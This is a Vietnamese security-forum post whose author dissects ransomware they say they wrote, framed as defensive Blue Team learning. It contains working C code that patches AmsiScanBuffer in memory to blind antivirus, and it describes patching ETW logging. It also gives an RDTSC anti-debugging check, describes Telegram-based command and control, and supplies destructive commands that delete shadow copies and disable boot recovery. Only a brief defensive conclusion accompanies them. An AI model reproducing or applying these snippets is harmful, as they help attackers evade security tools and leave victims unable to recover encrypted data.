Cách mình từng Patch AMSI và thao tác Windows API để bypass Antivirus

nghiaoka

New Member
08/01/2026
1
2 bài viết
Cách mình từng Patch AMSI và thao tác Windows API để bypass Antivirus
Chào anh em, để đáp lại những góp ý về tính xác thực và học thuật, mình xin phép không nói về "câu chuyện" nữa mà đi thẳng vào việc mổ xẻ các đoạn code nhạy cảm nhất trong con Ransomware mà mình từng viết. Đây là cách mình học về hành vi mã độc để phục vụ cho việc phòng thủ (Blue Team) hiện tại.

1. Bypass EDR/Antivirus bằng kỹ thuật Memory Patching (AMSI & ETW)

Đây là bước đầu tiên để malware "tàng hình" trước các trình quét như Windows Defender.

static void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
FARPROC pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
if (pAmsiScanBuffer) {
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 32, PAGE_EXECUTE_READWRITE, &oldProtect);
// mov eax, 0x80070057; ret
BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
memcpy(pAmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(pAmsiScanBuffer, 32, oldProtect, &oldProtect);
}
}
}

Phân tích: Windows sử dụng AmsiScanBuffer để quét nội dung thực thi trong bộ nhớ.
Dòng đặc biệt: BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Đây là mã máy (Opcode) ép hàm trả về E_INVALIDARG. Khi AMSI bị lỗi, hệ thống sẽ bỏ qua việc quét, cho phép các payload phía sau thực thi mà không bị ngăn chặn. Tương tự, mình cũng patch EtwEventWrite trong ntdll.dll để chặn việc ghi log hành vi hệ thống.
2. Anti-Analysis: Kỹ thuật RDTSC Timing Attack
Để tránh bị phân tích trong môi trường Sandbox hoặc Debugger, mình sử dụng kiểm tra độ trễ CPU.
ULONGLONG t1 = __rdtsc();
ULONGLONG t2 = __rdtsc();


if (t2 - t1 > 10000) return true;
Phân tích: Lệnh __rdtsc lấy số chu kỳ xung nhịp CPU. Trong môi trường ảo hóa hoặc khi có Debugger can thiệp (step-by-step), độ trễ giữa hai lần gọi sẽ cực lớn. Nếu vượt ngưỡng 10.000 chu kỳ, mã độc sẽ tự hiểu đang bị "soi" và ngắt thực thi để giấu hành vi.
3. Persistence & C2 Communication (Telegram API)
Thay vì dùng Server riêng dễ bị trace IP, mình sử dụng Telegram làm Command & Control (C2) qua HTTPS.
Phân tích: Việc sử dụng thư viện wininet.h giúp malware thực hiện các request HTTPS trông giống như lưu lượng web thông thường, bypass được một số luật Firewall cơ bản không có tính năng kiểm tra chuyên sâu (Deep Packet Inspection).
4. Phá hủy hệ thống & Chặn cứu hộ (Shadow Copies & TaskMgr)
void DeleteShadowCopies() {
system("vssadmin delete shadows /all /quiet");
system("bcdedit /set {default} recoveryenabled no");

}
Phân tích: Đây là bước "triệt đường sống" của nạn nhân. Việc xóa Shadow Copies khiến dữ liệu không thể phục hồi qua System Restore. Kết hợp với việc khóa Registry DisableTaskMgr = 1 và Hook bàn phím để chặn Ctrl+Alt+Del, mã độc biến máy tính thành một "hộp kín" hoàn toàn.
Kết luận từ góc độ Blue Team:
Khi hiểu rõ cơ chế Patching bộ nhớ và Hooking, mình nhận ra rằng việc bảo vệ hệ thống không chỉ là cài Antivirus, mà là phải giám sát sự toàn vẹn của các file hệ thống (Integrity Check) và theo dõi các hành vi gọi API bất thường (API Monitoring).
Hy vọng bài phân tích ngắn này giúp anh em thấy được tư duy kỹ thuật đằng sau những gì mình đã làm. Rất sẵn lòng nhận phản biện sâu hơn về code từ các bậc tiền bối!
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
malware phantich
Bên trên